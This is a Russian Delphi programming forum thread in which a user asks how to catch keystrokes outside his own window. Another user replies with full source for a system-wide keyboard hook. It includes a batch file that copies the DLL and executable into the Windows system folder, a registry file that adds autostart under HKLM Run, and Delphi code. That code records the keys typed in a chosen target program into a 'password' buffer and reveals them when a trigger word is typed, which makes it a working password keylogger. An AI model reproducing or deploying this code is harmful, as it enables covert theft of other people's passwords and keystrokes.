На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! ПРАВИЛА РАЗДЕЛА · FAQ раздела Delphi · Книги по Delphi
Пожалуйста, выделяйте текст программы тегом [сode=pas] ... [/сode]. Для этого используйте кнопку [code=pas] в форме ответа или комбобокс, если нужно вставить код на языке, отличном от Дельфи/Паскаля.
Следующие вопросы задаются очень часто, подробно разобраны в FAQ и, поэтому, будут безжалостно удаляться:
1. Преобразовать переменную типа String в тип PChar (PAnsiChar)
2. Как "свернуть" программу в трей.
3. Как "скрыться" от Ctrl + Alt + Del (заблокировать их и т.п.)
4. Как прочитать список файлов, поддиректорий в директории?
5. Как запустить программу/файл?
... (продолжение следует) ...

Вопросы, подробно описанные во встроенной справочной системе Delphi, не несут полезной тематической нагрузки, поэтому будут удаляться.
Запрещается создавать темы с просьбой выполнить какую-то работу за автора темы. Форум является средством общения и общего поиска решения. Вашу работу за Вас никто выполнять не будет.


Внимание
Попытки открытия обсуждений реализации вредоносного ПО, включая различные интерпретации спам-ботов, наказывается предупреждением на 30 дней.
Повторная попытка - 60 дней. Последующие попытки бан.
Мат в разделе - бан на три месяца...
Модераторы: jack128, D[u]fa, Shaggy, Rouse_
  
> Application.OnMessage
    Подскажите пожалуйста, какое событие происходит, когда движется мышь или клавиша нажата? Если над формой (или она активна), то Application.OnMessage, а если не над ней?
      Люди, 3 дня не сплю! Сессию забросил. Не дайти пропасть!
        То есть тебе надо перехватывать нажатие клавишь и движение мыши для других приложений?Для этого IMHO длл'ку писать надо.
        У меня где-то дока была по написаниб такой штуки,если надо,то пиши на it_excimer@mail.ru
          ok,у меня с инетом перебои,так что кидаю сюда,2Moderator : sorry , если оффтопик,но времени нет,а человеку нужно:
          [Win32] Как отловить нажатия клавиш для всех процессов в системе?
          Вот, может поможет:
          >1. Setup.bat
          === Cut ===
          @echo off
          copy HookAgnt.dll \%windir\%\system
          copy kbdhook.exe \%windir\%\system
          start HookAgnt.reg
          === Cut ===
          >2.HookAgnt.reg
          === Cut ===
          REGEDIT4
          [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
          "kbdhook"="kbdhook.exe"
          === Cut ===
          >3.KbdHook.dpr
          === Cut ===
          program cwbhook;
          uses Windows, Dialogs;
          var
          hinstDLL: HINST;
          hkprcKeyboard: TFNHookProc;
          msg: TMsg;
          begin
          hinstDLL := LoadLibrary('HookAgnt.dll');
          hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
          SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
          repeat until not GetMessage(msg, 0, 0, 0);
          end.
          === Cut ===
          >4.HookAgnt.dpr
          === Cut ===
          library HookAgent;
          uses Windows, KeyboardHook in 'KeyboardHook.pas';
          exports
          KeyboardProc;
          var
          hFileMappingObject: THandle;
          fInit: Boolean;
          procedure DLLMain(Reason: Integer);
          begin
          if Reason = DLL_PROCESS_DETACH then
          begin
          UnmapViewOfFile(lpvMem);
          CloseHandle(hFileMappingObject);
          end;
          end;

          begin
          DLLProc := @DLLMain;
          hFileMappingObject := CreateFileMapping(
          THandle($FFFFFFFF), // use paging file
          nil, // no security attributes
          PAGE_READWRITE, // read/write access
          0, // size: high 32 bits
          4096, // size: low 32 bits
          'HookAgentShareMem' // name of map object
          );
          if hFileMappingObject = INVALID_HANDLE_VALUE then
          begin
          ExitCode := 1;
          Exit;
          end;
          fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
          lpvMem := MapViewOfFile(
          hFileMappingObject, // object to map view of
          FILE_MAP_WRITE, // read/write access
          0, // high offset: map from
          0, // low offset: beginning
          0 // default: map entire file
          );
          if lpvMem = nil then
          begin
          CloseHandle(hFileMappingObject);
          ExitCode := 1;
          Exit;
          end;
          if fInit then
          FillChar(lpvMem, PASSWORDSIZE, #0);
          end.
          === Cut ===
          >5.KeyboardHook.pas
          === Cut ===
          unit KeyboardHook;
          interface
          uses Windows;

          const
          PASSWORDSIZE = 16;
          var
          g_hhk: HHOOK;
          g_szKeyword: array[0..PASSWORDSIZE-1] of char;
          lpvMem: Pointer;
          function KeyboardProc(nCode: Integer; wParam: WPARAM;
          lParam: LPARAM ): LRESULT; stdcall;
          implementation
          uses SysUtils, Dialogs;
          function KeyboardProc(nCode: Integer; wParam: WPARAM;
          lParam: LPARAM ): LRESULT;
          var
          szModuleFileName: array[0..MAX_PATH-1] of Char;
          szKeyName: array[0..16] of Char;
          lpszPassword: PChar;
          begin
          lpszPassword := PChar(lpvMem);
          if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
          begin
          GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
          if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
          lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
          lstrcat(g_szKeyword, szKeyName);
          GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
          > if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_
          АДО__') <> nil) and
          (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
          lstrcat(lpszPassword, szKeyName);
          if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
          begin
          ShowMessage(lpszPassword);
          g_szKeyword[0] := #0;
          end;
          Result := 0;
          end
          else
          Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
          end;
          end.
          === Cut ===
          1 пользователей читают эту тему (1 гостей и 0 скрытых пользователей)
          0 пользователей:


          Рейтинг@Mail.ru
          [ Script execution time: 0,0236 ]   [ 15 queries used ]   [ Generated: 15.05.24, 05:22 GMT ]